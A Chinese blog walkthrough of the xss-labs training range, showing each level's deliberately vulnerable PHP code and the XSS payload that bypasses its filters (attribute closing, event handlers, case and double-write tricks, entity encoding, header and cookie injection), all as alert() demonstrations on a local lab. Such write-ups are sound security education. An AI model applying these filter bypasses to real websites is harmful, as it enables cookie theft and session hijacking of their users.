xss-labs：Level1-20关靶场通关解析

原创 已于 2025-09-02 20:08:16 修改 · 884 阅读 · 17 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#xss #xss-labs #跨站脚本攻击 #文章解析

于 2025-08-31 23:39:05 首次发布

1. 基础环境🚀

本文会讲解xss-labs靶场中每一关卡的内容，可使用phpstudy搭建需要的环境，xss-labs的git下载命令如下：

git clone https://github.com/do0dl3/xss-labs.git

工具：Google浏览器、火狐+Hackbar、Burpsuite等。
在这里插入图片描述

2. XSS介绍🔍

2.1. 什么是XSS？

XSS（Cross-Site Scripting，跨站脚本攻击），是一种非常常见的Web应用程序安全漏洞。攻击者利用网站对用户输入信任不足或处理不当的弱点，将恶意的脚本代码注入到原本可信的网页中。

当其他用户访问这个被“污染”的网页时，嵌入的恶意脚本就会在他们的浏览器中悄无声息地执行。

一个简单的比喻：

想象一个建筑工地（网站）。工头（网站程序）让一个外来送货员（用户）顺便写一块指示牌的内容（用户输入）。如果工头不加检查，就直接把送货员写的牌子立在了工地关键位置，而送货员在牌子上写的是 “前方左转是出口”（实际上是悬崖） ，那么其他工人（其他用户）就会因此受到伤害。

XSS的原理与此类似：网站过于信任用户提交的数据，并将其当作自己代码的一部分，导致浏览器执行了恶意指令。

2.2. XSS危害是什么？

XSS的危害极大，攻击者一旦得手，可以在用户浏览器中为所欲为，主要包括：

  • 盗取用户敏感信息：最常见的是窃取用户的 Cookie 或 Session。利用这些信息，攻击者无需密码即可登录你的账户，进行非法操作。
  • 钓鱼欺诈：在页面上伪造一个登录弹窗，诱骗用户输入用户名和密码，从而盗取更高权限的账户。
  • 劫持用户会话：控制用户的浏览器，以其身份执行任意操作，例如发布微博、发送消息、进行转账等（即“会话劫持”）。
  • 网页挂马：在网页中插入恶意代码，导致用户访问时自动下载病毒、木马。
  • 破坏页面结构：篡改网页内容，影响网站的正常功能和声誉。

核心危害： XSS攻击直接破坏了用户与网站之间的信任关系，使得浏览器中运行的不是网站提供的可信代码，而是攻击者注入的恶意指令。

2.3. XSS的三种类型

类型一：反射型XSS

  • 别名：非持久型XSS
  • 特点：恶意脚本来自本次的HTTP请求（通常是URL参数），服务器将其“反射”到响应中。它不会被存储到服务器上。
  • 生动比喻：像 “伪造的快递电话”。

    攻击者给你打电话（制作一个恶意链接）：“你好，有你的快递，请到楼下取一下”（诱骗内容）。你信以为真点击了链接（你下楼），攻击立即发生（被骗）。这个骗局是一次性的，只有点击链接的人会受害。

类型二：存储型XSS

  • 别名：持久型XSS
  • 特点：恶意脚本被永久地存储在了目标服务器的数据库中（如评论、用户名、文章内容等）。每当用户浏览器请求数据时，脚本就从服务器中被取出并执行。
  • 生动比喻：像 “在公共留言板上投毒”。

    攻击者将毒药（恶意代码）投进了公共饮水机的桶里（提交到网站数据库）。每个后来接水喝的人（访问网站的正常用户）都会中毒。危害范围极大，且毒药会长期存在，直到被清理。

类型三：DOM型XSS

  • 特点：漏洞存在于客户端的JavaScript代码中。服务器的响应是正常的，但客户端的JS在处理数据（如URL片段）时，将其写入了DOM，导致了代码执行。整个过程不经过服务器。
  • 生动比喻：像 “一个被篡改的指示牌”。

    你拿着一张正确的地图（服务器返回的合法HTML和JS），要前往A地点。路上你看到一个指示牌，上面写着“通往A地请左转”（URL中的#片段参数）。但你不知道，这个牌子被坏人篡改过（参数被注入恶意代码），你左转后掉入了陷阱（恶意代码执行）。问题出在指示牌和你看指示牌的方式（前端JS逻辑），而不是地图本身。

反射型XSS vs DOM型XSS：核心区别对比表⭐

特征对比反射型XSSDOM型XSS
攻击原理服务器直接返回恶意代码客户端JS不安全地操作DOM导致代码执行
服务器参与度✅ 高度依赖，服务器处理并返回了恶意代码❌ 完全不依赖，服务器返回的是正常、干净的HTML页面
Payload位置URL的查询参数（Query String）
?param=<script>...</script>		URL的片段标识符（Fragment）
#<script>...</script>
数据流客户端 → 服务器 → 客户端
(恶意代码经过服务器)		客户端 → 客户端
(恶意代码不经过服务器)
查看源代码在服务器返回的HTML中能看到恶意代码在服务器返回的HTML中看不到恶意代码，需检查DOM或监控网络请求
简单比喻“造假钞并存入银行”
(假钞通过银行系统流通)		“直接使用假钞交易”
(买卖双方直接交易，绕过银行系统)

总结对比表格⭐

类型比喻存储位置触发方式危害范围
反射型XSS伪造的快递电话不存储用户点击特定恶意链接较低
存储型XSS公共留言板投毒服务器数据库用户访问正常的页面极高
DOM型XSS被篡改的指示牌不存储（URL片段）用户点击特定恶意链接较低

3. 关卡大全🎯

Level1

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

解题方法：
方法是GET请求，通过给name参数赋值js语句实现xss攻击，Payload如下：

<script>alert(1)</script>

实际操作：
在这里插入图片描述
在这里插入图片描述

Level2

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

核心知识：
htmlspecialchars()：对$str进行转义，确保在​​HTML正文​​中不会执行恶意脚本。

如果输入是<script>alert(1)</script>，会被转义为：

&lt;script&gt;alert(1)&lt;/script&gt;

解题方法：

htmlspecialchars()只保护了<h2>标签内的输出​​，但表单input的value属性未受保护。我们可以通过闭合value属性，实现对本关卡的攻击，Payload如下：

123"><script>alert(1)</script>//

最终生成的HTML：

<input name=keyword value="123"><script>alert(1)</script>//">

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level3

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

核心知识：
onfocus()：是一个事件处理器，当该输入框获得焦点时就会执行代码。

解题方法：
首先代码在value属性处已经使用了htmlspecialchars()进行转义，因此不能使用<>标签，但是可以利用onfocus事件，构建Payload：

' onfocus=javascript:alert() '

实际操作：
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

Level4

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

解题方法：
发现对<>标签实现了过滤，我们依旧使用onfocus去解决，只不过此时的闭合符号变为了"，Payload如下：

" onfocus=javascript:alert() "

实际操作：

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level5

关键源码：

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

核心知识：
javascript:：是一种特殊的​​伪协议​​，类似于http:、https: 或 mailto:。它允许在​​HTML属性​​(a href、iframe src)中直接执行js代码。

解题方法：

代码使用strtolower实现了小写转换，并且将<script和on替换成<scr_pt(防止<>)和o_n(防止onfocus)，这次我们使用a href标签，改用javascript: 伪协议，点击超链接时，javascript:alert()会被执行。Payload如下：

"> <a href=javascript:alert()>123</a> <"

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level6

关键源码：

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

解题方法：
代码对一些字符进行了替换，但是没有限制大小写，我们可以构造Payload：

"><SCRIPT>alert(1)</SCRIPT>

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level7

关键源码：

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

解题方法：
代码在Level6的基础上增加了大小写的限制，不同的是关卡进行的是过滤而非替换，但也只是进行一次过滤，因此可以采用双写的方式，构造Payload：

"><scscriptript>alert(1)</scrscriptipt>

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level8

关键源码：

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

核心知识：
Unicode/HTML实体编码：​是字符的另一种表示方式，例如：

a → Unicode: \u0061，HTML 实体: &#97;
< → Unicode: \u003C，HTML 实体: &lt; 或 &#60;

解题方法：
代码使用黑名单、大小写限制、双写限制等一系列的操作，但可以进行Unicode/HTML实体编码实现绕过。Payload如下：

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

解码后：

javascript:alert(1)

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level9

关键源码：

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
}
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

解题方法：
代码判断strpos的返回值是否​​完全等于​​false(即是否未找到http://)，依旧采用Unicode/HTML实体编码，末尾再注释掉http://，Payload如下：

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level10

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

解题方法：
代码对t_link、t_history、t_sort这3个表单实现了隐藏，可以依次尝试突破一下，最后选择t_sort，Payload如下：

t_sort=" onfocus="alert(1)" type="text"

值得一提的是，我们需要将type的类型改为text，然后搭配onfocus，聚焦输入框即可完成绕过。

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level11

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

解题方法：
代码在http的头部加入refer字段，并且对t_ref的value属性进行js代码赋值，这里我们使用火狐的Hackbar工具，Payload如下：

" onfocus="alert(1)" type="text"

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level12

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

解题方法：
本关卡的解题方法和Level11是一样的，只不过操作的是t_ua的value属性，Payload如下：

" onfocus="alert(1)" type="text"

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level13

关键源码：

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

解题方法：
本关卡的解题方法和Level12如出一辙，只不过操作的是t_cook的value属性，Payload如下：

" onfocus="alert(1)" type="text"

实际操作：
在这里插入图片描述
当执行的时候，我发现页面并没有搜索框，也就没有后续了，个人怀疑是这个Hackbar插件的问题，这里提供另外2种操作：
第1种：使用Burpsuite
在这里插入图片描述
在这里插入图片描述
第2种：使用浏览器
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level14

解题方法：
本关卡通过修改iframe调用的文件来实现xss注入，由于调用的文件地址失效，无法进行后续测试，暂且跳过。

Level15

关键源码：

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

核心知识：
ng-include：是​​AngularJS​​框架中的一个指令，用于动态加载并嵌入外部HTML片段​​到当前页面中。
onerror：是​​HTML元素的事件处理器，当元素在加载或执行过程中​​发生错误时​​，浏览器会自动触发它。它通常用于img、script、link等资源加载类标签，但也可以被滥用进行XSS攻击​​。
解题方法：
本关卡引入Level1的绝对路径，具体地址以自己的为准，构造的Payload如下：

src="http://localhost:8083/xss-labs/level1.php?name=<img src=1 onerror=alert(1)>"
  • src=1​​：指定图片路径为1(一个无效的路径，确保加载失败)。
  • ​​οnerrοr=alert(1)​​：当图片加载失败时，触发onerror事件，执行alert(1)。

实际操作：
在这里插入图片描述
在这里插入图片描述

Level16

关键源码：

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

核心知识：
&nbsp;： 是HTML实体编码​​，表示​​非换行空格​​。
解题方法：
代码对空格进行了实体编码，不过可以使用%0A这样的URL编码实现绕过，Payload如下：

<img%0Asrc=1%0Aonerror=alert(1)>

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level17

关键源码：

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

核心知识：
onmouseover：当用户的鼠标指针​​悬停在元素上时​​，浏览器会自动触发它。它是js与用户交互的重要方式之一，但也常被滥用于​XSS攻击​​。

解题方法：
本关卡我们使用onmouseover，先使用空格作为value属性的结束，再使用οnmοuseοver=alert(1) 解析为新的HTML属性。

 onmouseover=alert(1)

实际操作：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Level18

解题方法：
操作和Level17是一致的，就不再展开了。

Level19

关卡涉及到flash触发的XSS漏洞，由于flash被停用，所以先不做了。

Level20

同上。

xss-labs靶场：level3攻略
godfish44的博客
09-15 592
我们发现，代码并没有成功被执行的原因是标签并没有被成功闭合，因为我们输入的引号（"）和尖括号（）都被被实体化了，我们再输入单引号（'），发现并没有被实体化，遇到这种情况，我们可以采用html的一些事件来规避尖括号等的使用，我们可以采用onblur事件来构造payload。恭喜大家成功来到了靶场的第三关！同样的，我们要注意引号的闭合！到这里我们就成功通过第三关了！
xss-labs靶场通关解析
weixin_74036973的博客
10-27 1217
xss靶场解析前端分析+后端分析 （1-16关）
xss-labs靶场全关通关
m0_64849639的博客
09-04 2480
alert('111')</script><script>
XSS-LABS靶场通关讲解
ericalezl的博客
03-09 1474
输入过滤：使用白名单限制特殊字符（如输出编码：根据上下文转义HTML/JS（如转为HTTP安全头Secure框架安全：避免直接使用v-html或innerHTML等危险API。
【网络安全 --- xss-labs靶场通关（11-20关）】详细的xss-labs靶场通关思路及技巧讲解，让你对xss漏洞的理解更深刻
m0_67844671的博客
10-23 2859
【网络安全 --- xss-labs靶场通关（11-20关）】详细的xss-labs靶场通关思路及技巧讲解，让你对xss漏洞的理解更深刻
Xss-labs 靶场通关详解
2402_88178163的博客
03-21 1711
观察可知这里多了一个if判断语句 strpos用于在一个字符串中查找指定字符（或字符串）第一次出现的位置 找不到的话就会显示false 这里也就是告诉我们里面需要有http:// 所以我们编码构造语句的时候只需要加上即可 javascript:alert()//http:// 这里http前面的//是防止他影响我们的语句加//表示注释掉他。这里观察发现通过get传参keyboard很难进行攻击 但是这里他还有一个t_sort传参 所以我们利用这个传参点这里我们构造payload?
XSS-labs-master靶场：1-13关速通
weixin_68416970的博客
08-05 711
XSS-labs-master靶场：1-13关快速通关教程；超详细！！！
【网络安全 --- xss-labs靶场通关（1-10关）】详细的xss-labs靶场通关思路及技巧讲解，让你对xss漏洞的理解更深刻
m0_67844671的博客
10-21 7375
【网络安全 --- xss-labs靶场通关（1-10关）】详细的xss-labs靶场通关思路及技巧讲解，让你对xss漏洞的理解更深刻
xss-labs靶场：level15攻略 页面中html引用法
godfish44的博客
09-17 407
经过不懈努力，我们成功通过了前面12关，需要注意的是，十三关的技巧与十一关和十二关大同小异，只是将注入的位置改为cookie即可，而第十四关页面中内嵌的网页已经无法访问了，我们直接跳过，接下来我们一起看第十五关。函数可以理解为文件包含的作用，它可以直接引用同一域名下的html页面，通俗点来说，就是在页面中导入另一个页面，它是基于AngularJS框架的。弄清楚了这一点，我们只需要把aaaaa替换为另一个网页的html文件，就可以显示出该网页并利用该网页的漏洞成功执行代码，弹出警告框。
【xss-labs】xss-labs 靶场通关（1-9）
m0_71944965的博客
08-31 1520
查看网站源码，可以发现get传参name的值test插入了html里头 直接在url后加上JS语句即可 第二关 lever2 查看网页源码发现和第一关差不多，先在url后加上JS语句试试 发现报错 再次查看源码，发现JS语句被包在中没有执行 应该闭合 第三关 level3 先输入123456，然后查看网站源码 所以还是闭合问题，输入第二题的JS语言试试 发现报错 用单引号闭合试试，还是报错，检查源代码 发现符号被过滤 我们可以利用onclick绕过号的过滤来达到执行js的目的在文本框输
xss-labs靶场：level17攻略 onmouseover的妙用
godfish44的博客
09-18 836
我们并没有发现有隐藏表单的存在，但是我们发现它用<embed>标签引入了一个外部图片，一般来说遇到这种情况，我们通常都是用对应的报错函数来执行攻击代码的，即对应资源加载出错时执行对应动作的函数，这里我想到了之前用过的。我们会发现它传入了两个参数a和b，但是在页面中，我们并没有发现ab的身影，我们猜测会不会像前面几关一样，存在一个隐藏表单？但是令我们失望的是我们的代码并没有被执行，经过查找资料，我们发现。OK，接下来我们来看17关，胜利就在眼前！标签，我们查找后发现了一个更为方便的函数。
XSS-Labs靶场“1-5”关通关教程
钟言的博客
03-04 7642
本篇为XSS-Labs靶场的第1-5关教程，详细内容包含了：一、了解XSS 1、认识XSS攻击 2、XSS攻击危害 3、XSS攻击防御 4、反射型XSS 5、常用XSS攻击语何二、第一关 不做限制三、第二关 逃逸双引号四、第三关 单引号绕过五、第四关 过滤第五关a标签绕过六、等等内容
前端安全防护指南(二)*跨站脚本攻击（XSS）之存储型 XSS
xiaobangsky的专栏
11-14 261
跨站脚本攻击 存储型XSS 示例
（43页PPT）华夏银行供应商入库比稿项目25庆专项服务方案.pptx
最新发布
11-15
（43页PPT）华夏银行供应商入库比稿项目25庆专项服务方案.pptx
在学习中和使用中，学习、借鉴了很多网友的文章和开源的项目的知识。发现提供实际项目开发需要的基础控件、样式的文章大都比较散，不成系列。因此基于现在项目中使用.zip
11-15
在学习中和使用中，学习、借鉴了很多网友的文章和开源的项目的知识。发现提供实际项目开发需要的基础控件、样式的文章大都比较散，不成系列。因此基于现在项目中使用.zip
后台管理系统，基于Vue.js+Node.js+Koa.js+MySQL+Redis+WebSocket。.zip
11-15
后台管理系统，基于Vue.js+Node.js+Koa.js+MySQL+Redis+WebSocket。.zip
一个电脑如何同时登录多个微信？ 一行代码搞定
11-15
一个电脑如何同时登录多个微信？ 一行代码搞定
机器学习的约束之道
11-15
本书提出基于约束的机器学习统一框架，将监督、无监督与半监督学习融会贯通。通过环境约束建模，揭示学习本质——在满足约束的同时追求简洁性。书中深入探讨损失函数、风险最小化、柯尔莫哥洛夫复杂性与信息论原理，并展现深度学习与核方法在此范式下的自然统一。作者马可·戈里倡导以多值逻辑连接符号智能与亚符号学习，为AI集成提供新路径。配套丰富练习与研究课题，适合从入门到进阶的全面学习。
xss-labs靶场:level9攻略
11-04
要获取 XSS - Labs 靶场 Level 9 的攻略，一般可以按照以下思路进行分析： #### 1. 页面分析 首先需要查看 Level 9 页面的功能和输入点。通常 XSS - Labs 靶场的关卡会有一个输入框或者其他可输入的区域，尝试在这个输入区域输入一些简单的测试字符，如 `123` ，观察页面的响应，看输入的内容是否会在页面上回显。 #### 2. 基本 XSS 测试 尝试输入基本的 XSS 代码，例如： ```html <script>alert('XSS')</script> ``` 如果页面有过滤机制，这个代码可能不会执行。此时需要分析页面是如何过滤输入内容的。 #### 3. 绕过过滤 - **编码绕过**：如果页面过滤了 `<script>` 标签，可以尝试使用 HTML 实体编码来绕过，如将 `<` 编码为 `<` ，`>` 编码为 `>` ，代码变为： ```html <script>alert('XSS')</script> ``` - **事件触发**：如果 `<script>` 标签被严格过滤，可以尝试使用 HTML 标签的事件来触发 XSS，例如： ```html <img src="x" onerror="alert('XSS')"> ``` 这个代码通过 `img` 标签的 `onerror` 事件，当图片加载失败时触发 `alert` 弹窗。 #### 4. 测试与验证 将构造好的 XSS 代码输入到页面的输入框中，如果页面成功弹出 `alert` 弹窗，说明 XSS 攻击成功，也就完成了该关卡。 以下是一个简单的 Python 脚本示例，用于自动化测试 XSS 代码： ```python import requests url = 'http://xss-labs-url/level9' # 替换为实际的靶场 URL payload = '<img src="x" onerror="alert(\'XSS\')">' data = {'input': payload} # 假设输入框的参数名为 input response = requests.post(url, data=data) if 'XSS' in response.text: print('XSS 攻击成功') else: print('XSS 攻击失败') ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值